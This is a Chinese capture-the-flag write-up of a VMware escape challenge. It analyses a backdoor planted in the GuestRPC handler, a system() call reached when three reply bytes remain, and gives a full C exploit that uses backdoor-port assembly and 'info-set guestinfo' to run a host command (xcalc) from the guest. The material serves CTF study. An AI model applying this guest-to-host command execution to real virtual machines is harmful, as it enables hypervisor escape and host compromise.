2019数字经济公测大赛-VMware逃逸
文章目录
- 环境搭建
- 漏洞点
- exp
环境搭建
- ubuntu :18.04.01
- vmware: VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle
这里环境搭不成功。。patch过后就报错,不知道咋搞发现可能是IDA加载后的patch似乎不行对原来的patch可能有影响,重新下了patch,发现可以了,但没网。。。。但好像自带vmtools了。。
漏洞点
bindiff 对比原来的vmx和patch过的,发现存在如下修改
被替换为nop并且留了后门
sub_16E220函数开始时通过调用sub_5463D0(1LL)获取一个值v2,用于决定switch语句执行哪个case。对应RPC各个通信
打开 GuestRPC 通道
发送命令长度
发送命令数据
接收回复大小
接收回复数据
发出接收结束信号
关闭频道
bindiff不同位置其对应的反编译代码,属于case 4
发现其中有关于channel的字符串GuestMsg: Channel %u, Not enough memory to receive a message,加上函数开头的switch case判断number的范围为0-6,很容易联想到这就是GuestRPC Handler(是处理 RPC 通信的代码),一个RPC指令处理函数,下面代码只包含了漏洞所在的部分,可以看到这个路径是当subcommand=0x4,也就是Receive reply data的处理部分
case 4u:v49 = sub_16DE80(6LL, 7LL);v8 = (_DWORD *)v49;if ( !v49 )goto LABEL_62;LODWORD(v9) = *(_DWORD *)v49;if ( *(_DWORD *)v49 != 3 )goto LABEL_20;if ( *(_BYTE *)(v49 + 8) == 1 )goto LABEL_48;if ( !*(_QWORD *)(v49 + 56) )goto LABEL_90;if ( (sub_5463D0(3LL) & 1) == 0 ){v11 = (__int64)v8;goto LABEL_81;}v36 = (unsigned __int64)&stru_20000;sub_546480(2LL, &stru_20000);v50 = (unsigned int)v8[12];v51 = (unsigned __int16 *)(*((_QWORD *)v8 + 7) + (unsigned int)v8[11] - v50);if ( (_DWORD)v50 == 2 ){v36 = *v51;v37 = (_BYTE *)(&dword_0 + 3);sub_546480(3LL, v36);v52 = v8[12] - 2;v8[12] = v52;}else if ( (_DWORD)v50 == 3 ){v37 = (const char *)*((_QWORD *)v8 + 7);system(v37);v52 = v8[12] - 3;v8[12] = v52;}else{if ( (_DWORD)v50 == 1 ){v36 = *(unsigned __int8 *)v51;v37 = (_BYTE *)(&dword_0 + 3);sub_546480(3LL, v36);v52 = v8[12] - 1;}else{v36 = *(unsigned int *)v51;v37 = (_BYTE *)(&dword_0 + 3);sub_546480(3LL, v36);v52 = v8[12] - 4;}v8[12] = v52;}if ( !v52 )*v8 = 4;
LABEL_31:v44 = sub_533C10(v37, v36, v9);v19 = 0x10000LL;*((_QWORD *)v8 + 2) = v44;goto LABEL_12;
其中 need 表示还未发送数据的长度,在 need >= 4 的时候每次发送 4 字节,最后特判了 need < 4 的情况。而后门函数位于 need == 3 的判断中。
另外通过调试发现 state == 3 出现在 host 向 guest 回复数据的阶段,因此我们需要让 host 向 guest 回复数据长度模 4 余 3 同时 buf 恰好是要执行的命令。
通过调试发现回复数据长度为 info-set guestinfo.x 后面跟的字符串长度加 2,并且执行的命令就是这个字符串(前面拼接了两个字节包含一个字符1 recv rpc data中有提到rpctype前两个字节表示成功还是失败 在 Recieve RPC reply length 中提到过,应答数据的前两个字节始终表示 RPC command 的状态)。最最终need的总个数就是 info-set guestinfo.x 后面跟的字符串长度加2,即1 字符串
,buf就是这个的起始地址,所以system执行指令会执行1 字符串
,为了执行字符串中的指令,所以字符串刚开始有个;来结束,最后我们保证字符串长度加2模4余3就好了(也就是字符串长度模4余1)
这里;
已经包含一个字符了,所以保证剩下的是4的倍数就行了,这里相当任意命令执行了,因为可以通过添加空格来填补,最后添个;或者&,不然虚拟机出问题
然后是执行命令的参数前面固定为1,我在后面加了个;来执行下一条命令,因此最终去执行的命令就是/usr/bin/xcalc ;
exp
#include <ctype.h>
#include <stdint-gcc.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>void byte_dump(char *desc, void *addr, int len) {uint8_t *buf8 = (unsigned char *) addr;if (desc != NULL) {printf("[*] %s:\n", desc);}for (int i = 0; i < len; i += 16) {printf(" %04x", i);for (int j = 0; j < 16; j++) {i + j < len ? printf(" %02x", buf8[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 16 && j + i < len; j++) {printf("%c", isprint(buf8[i + j]) ? buf8[i + j] : '.');}puts("");}
}
void channel_open(int *cookie1, int *cookie2, int *channel_num, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%rdi,%%r10\n\t""movq %%rsi,%%r11\n\t""movq %%rdx,%%r12\n\t""movq %%rcx,%%r13\n\t""movl $0x564d5868,%%eax\n\t""movl $0xc9435052,%%ebx\n\t""movl $0x1e,%%ecx\n\t""movl $0x5658,%%edx\n\t""out %%eax,%%dx\n\t""movl %%edi,(%%r10)\n\t""movl %%esi,(%%r11)\n\t""movl %%edx,(%%r12)\n\t""movl %%ecx,(%%r13)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r8", "%r10", "%r11", "%r12", "%r13");
}void channel_set_len(int cookie1, int cookie2, int channel_num, int len, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%r8,%%r10\n\t""movl %%ecx,%%ebx\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0001001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""movl %%ecx,(%%r10)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}void channel_send_data(int cookie1, int cookie2, int channel_num, int len, char *data, int *res) {asm("pushq %%rbp\n\t""movq %%r9,%%r10\n\t""movq %%r8,%%rbp\n\t""movq %%rcx,%%r11\n\t""movq $0,%%r12\n\t""1:\n\t""movq %%r8,%%rbp\n\t""add %%r12,%%rbp\n\t""movl (%%rbp),%%ebx\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0002001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""addq $4,%%r12\n\t""cmpq %%r12,%%r11\n\t""ja 1b\n\t""movl %%ecx,(%%r10)\n\t""popq %%rbp\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}void channel_recv_reply_len(int cookie1, int cookie2, int channel_num, int *len, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%r8,%%r10\n\t""movq %%rcx,%%r11\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0003001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""movl %%ecx,(%%r10)\n\t""movl %%ebx,(%%r11)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11");
}void channel_recv_data(int cookie1, int cookie2, int channel_num, int offset, char *data, int *res) {asm("pushq %%rbp\n\t""movq %%r9,%%r10\n\t""movq %%r8,%%rbp\n\t""movq %%rcx,%%r11\n\t""movq $1,%%rbx\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0004001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""in %%dx,%%eax\n\t""add %%r11,%%rbp\n\t""movl %%ebx,(%%rbp)\n\t""movl %%ecx,(%%r10)\n\t""popq %%rbp\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}void channel_recv_finish(int cookie1, int cookie2, int channel_num, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%rcx,%%r10\n\t""movq $0x1,%%rbx\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0005001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""movl %%ecx,(%%r10)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}void channel_recv_finish2(int cookie1, int cookie2, int channel_num, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%rcx,%%r10\n\t""movq $0x21,%%rbx\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0005001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""movl %%ecx,(%%r10)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}void channel_close(int cookie1, int cookie2, int channel_num, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%rcx,%%r10\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0006001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""movl %%ecx,(%%r10)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}typedef struct {int cookie1;int cookie2;int num;
} channel;void run_cmd(char *cmd) {channel cannel;int res, len;channel_open(&cannel.cookie1, &cannel.cookie2, &cannel.num, &res);if (!res) {puts("[-] fail to open channel.");exit(EXIT_FAILURE);}channel_set_len(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd), &res);if (!res) {puts("[-] fail to set len");exit(EXIT_FAILURE);}channel_send_data(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd), cmd, &res);channel_recv_reply_len(cannel.cookie1, cannel.cookie2, cannel.num, &len, &res);if (!res) {puts("[-] fail to recv data len");exit(EXIT_FAILURE);}printf("[*] recv len:%d\n", len);char *data = malloc(len);memset(data, 0, len );for (int i = 0; i < len ; i += 4) {channel_recv_data(cannel.cookie1, cannel.cookie2, cannel.num, i, data, &res);}byte_dump("recv data", data, len );channel_recv_finish(cannel.cookie1, cannel.cookie2, cannel.num, &res);if (!res) {puts("[-] fail to recv finish");exit(EXIT_FAILURE);}channel_close(cannel.cookie1, cannel.cookie2, cannel.num, &res);if (!res) {puts("[-] fail to close channel");exit(EXIT_FAILURE);}
}int main() {run_cmd("info-set guestinfo.x ;/usr/bin/xcalc ;");run_cmd("info-get guestinfo.x");return 0;
}
asm中的冒号:
- 第一个冒号后的空字符串表示没有输出操作数。
- 第二个冒号后的空字符串表示没有输入操作数。
- 第三个冒号后的列表是被修改的寄存器列表,用于告知编译器哪些寄存器被嵌入的汇编代码修改了。
相关文章:

2019数字经济公测大赛-VMware逃逸
文章目录 环境搭建漏洞点exp 环境搭建 ubuntu :18.04.01vmware: VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle 这里环境搭不成功。。patch过后就报错,不知道咋搞 发现可能是IDA加载后的patch似乎不行对原来的patch可能有影响,重新下了patch&…...

如何改桥接模式
桥接模式主要是解决 路由功能的 因为NAT多层 主要是网络连接数太多时 然后路由器要好 不然光猫 比差路由要强的 光猫 请注意,对光猫的任何设置进行修改前,请一定要备份光猫的配置文件,并在每次修改前都截图保存原始设置信息!不要…...

江科大/江协科技 STM32学习笔记P13
文章目录 TIM定时中断1、TIM简介计数器PSC预分频器ARR自动重装寄存器 2、定时器类型基本定时器主模式触发DAC 通用定时器高级定时器 3、定时器原理定时中断基本结构预分频器时序计数器时序RCC时钟树 TIM定时中断 1、TIM简介 定时器的基准时钟一般都是主频72MHz,如果…...
loadrunner录制解决提示安全问题
点击页面任意位置,输入: thisisunsafe...

为什么要读写分离?如何实现业务系统读写分离?
信息化水平提升,很多企业已经接受并高频使用多样的业务系统进行日常作业,而在不断的使用过程中,部分行业和业务,如:直播电商、基础制造、公关传媒等,由于自身特点的原因,常常积累了海量的数据。…...

C#基础——类、构造函数和静态成员
类 类是一个数据类型的蓝图。构成类的方法和变量称为类的成员,对象是类的实例。类的定义规定了类的对象由什么组成及在这个对象上可执行什么操作。 class 类名 { (访问属性) 成员变量; (访问属性) 成员函数; } 访问属性:public(公有的&…...

hadoop学习(二)
一.MapReduce 1.1定义:是一个分布式运算程序的编程框架 1.2核心功能:将用户编写的业务逻辑代码和自带默认组件整合成一个完整的分布式运算程序,并发运行在一个Hadoop集群上。 1.3优点 1)易于编程 它简单的实现一些接口&#…...
WXZ196微机消谐装置的运行方式了解一下
WXZ196微机消谐装置是一种用于抑制铁磁谐振的设备,可以在电力系统中快速消除各种频率的铁磁谐振,同时可以区分过电压、铁磁谐振以及单相接地,并给出相应的报警信号。该装置采用高速增强型单片机作为核心元件,对PT开口三角电压进行…...
单链表的建立
一.前言 单链表的建立一共有两种方法,一种是头插法,将元素插入在链表的头部,也叫前插法。另外一种则就是尾插法,将元素插入在链表尾部,也叫后插法。 二. 头插法 首先从一个空表开始,重复读入数据࿱…...

Shell脚本编程学习
IPv4和IPv6有什么区别? - 知乎 (zhihu.com) Shell 是一个命令解释权,它为用户提供了一个向 Linux 内核发送请求以便运行程序界面系统级程序,用户可以用 Shell 来启动、挂起、停止甚至是编写一些程序。 可以查看当前系统的进程 ps -ef...

从宏基因组量化细菌生长动态
Introduciton 了解细菌在各种环境中的生长动态对于人类健康和环境监测等广泛领域至关重要。传统研究细菌生长的方法往往依赖于培养技术,这不仅耗时,而且对易培养的物种有偏向。然而,随着宏基因组测序技术的兴起,我们现在可以直接…...

Linux---git工具
目录 初步了解 基本原理 基本用法 安装git 拉取远端仓库 提交三板斧 1、添加到缓存区 2、提交到本地仓库 3、提交到远端 其他指令补充 多人协作管理 windows用户提交文件 Linux用户提交文件 初步了解 在Linux中,git是一个指令,可以帮助我们做…...

【JavaScript】函数的动态传参
Javacript(简称“JS”)是一种具有函数优先的轻量级,解释型或即时编译型的编程语言。虽然它是作为开发Web页面的脚本语言而出名,但是它也被用到了很多非浏览器环境中,JavaScript基于原型编程、多范式的动态脚本语言&…...

从0到1,AI我来了- (4)AI图片识别的理论知识-II
上篇文章,我们理解了我们程序的神经网络设计,这篇我们继续,把训练迭代过程分析一下,完成这两篇文章,下面问题,应该能回答了。 一张图片,如何被计算机读懂?pytorch 封装的网络&#…...

2024 Java 高分面试宝典 一站式搞定技术面
前言 每年9月和10月,被业界称为“金九银十”,这是人才市场一年中最活跃的时期。此时,企业为了来年的业务扩展,纷纷加大招聘力度,空缺岗位众多,招聘需求集中。同时,初秋的招聘活动也避开酷暑&am…...
MongoDB - 聚合操作符 $eq、$gte、$in、$sum、$avg
文章目录 1. $eq2. $gte3. $in4. $sum5. $avg 1. $eq $eq比较两个值并返回:true (当值相等时)|false(当值不相等时) { $eq: [ <expression1>, <expression2> ] }构造测试数据: db.inventory…...

C语言 | Leetcode C语言题解之第279题完全平方数
题目: 题解: // 判断是否为完全平方数 bool isPerfectSquare(int x) {int y sqrt(x);return y * y x; }// 判断是否能表示为 4^k*(8m7) bool checkAnswer4(int x) {while (x % 4 0) {x / 4;}return x % 8 7; }int numSquares(int n) {if (isPerfect…...
在appium中,如何通过匹配图片来进行断言?
在Appium中进行图片匹配断言,可以使用OpenCV来实现。以下是使用Appium和OpenCV进行图片匹配断言的示例代码。 首先,需要确保安装了必要的库: pip install opencv-python-headless pip install opencv-python pip install numpy然后…...

昇思25天学习打卡营第21天|CV-Shufflenet图像分类
打卡 目录 打卡 ShuffleNet 网络介绍 ShuffleNet 模型架构 Pointwise Group Convolution Channel Shuffle ShuffleNet模块 ShuffleNet 模块代码 构建ShuffleNet网络 模块代码 模型训练和评估 模型训练 模型评估 模型预测 ShuffleNet 网络介绍 ShuffleNetV1是旷视科…...

python 图片转文字、语音转文字、文字转语音保存音频并朗读
一、python图片转文字 1、引言 pytesseract是基于Python的OCR工具, 底层使用的是Google的Tesseract-OCR 引擎,支持识别图片中的文字,支持jpeg, png, gif, bmp, tiff等图片格式 2、环境配置 python3.6PIL库安装Google Tesseract OCR 3、安…...

超短脉冲激光自聚焦效应
前言与目录 强激光引起自聚焦效应机理 超短脉冲激光在脆性材料内部加工时引起的自聚焦效应,这是一种非线性光学现象,主要涉及光学克尔效应和材料的非线性光学特性。 自聚焦效应可以产生局部的强光场,对材料产生非线性响应,可能…...

基于距离变化能量开销动态调整的WSN低功耗拓扑控制开销算法matlab仿真
目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.算法仿真参数 5.算法理论概述 6.参考文献 7.完整程序 1.程序功能描述 通过动态调整节点通信的能量开销,平衡网络负载,延长WSN生命周期。具体通过建立基于距离的能量消耗模型&am…...

Day131 | 灵神 | 回溯算法 | 子集型 子集
Day131 | 灵神 | 回溯算法 | 子集型 子集 78.子集 78. 子集 - 力扣(LeetCode) 思路: 笔者写过很多次这道题了,不想写题解了,大家看灵神讲解吧 回溯算法套路①子集型回溯【基础算法精讲 14】_哔哩哔哩_bilibili 完…...

Swift 协议扩展精进之路:解决 CoreData 托管实体子类的类型不匹配问题(下)
概述 在 Swift 开发语言中,各位秃头小码农们可以充分利用语法本身所带来的便利去劈荆斩棘。我们还可以恣意利用泛型、协议关联类型和协议扩展来进一步简化和优化我们复杂的代码需求。 不过,在涉及到多个子类派生于基类进行多态模拟的场景下,…...

关于nvm与node.js
1 安装nvm 安装过程中手动修改 nvm的安装路径, 以及修改 通过nvm安装node后正在使用的node的存放目录【这句话可能难以理解,但接着往下看你就了然了】 2 修改nvm中settings.txt文件配置 nvm安装成功后,通常在该文件中会出现以下配置&…...

渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止
<script>标签被拦截 我们需要把全部可用的 tag 和 event 进行暴力破解 XSS cheat sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 通过爆破发现body可以用 再把全部 events 放进去爆破 这些 event 全部可用 <body onres…...

屋顶变身“发电站” ,中天合创屋面分布式光伏发电项目顺利并网!
5月28日,中天合创屋面分布式光伏发电项目顺利并网发电,该项目位于内蒙古自治区鄂尔多斯市乌审旗,项目利用中天合创聚乙烯、聚丙烯仓库屋面作为场地建设光伏电站,总装机容量为9.96MWp。 项目投运后,每年可节约标煤3670…...
linux 下常用变更-8
1、删除普通用户 查询用户初始UID和GIDls -l /home/ ###家目录中查看UID cat /etc/group ###此文件查看GID删除用户1.编辑文件 /etc/passwd 找到对应的行,YW343:x:0:0::/home/YW343:/bin/bash 2.将标红的位置修改为用户对应初始UID和GID: YW3…...

零基础设计模式——行为型模式 - 责任链模式
第四部分:行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习!行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想:使多个对象都有机会处…...

网络编程(UDP编程)
思维导图 UDP基础编程(单播) 1.流程图 服务器:短信的接收方 创建套接字 (socket)-----------------------------------------》有手机指定网络信息-----------------------------------------------》有号码绑定套接字 (bind)--------------…...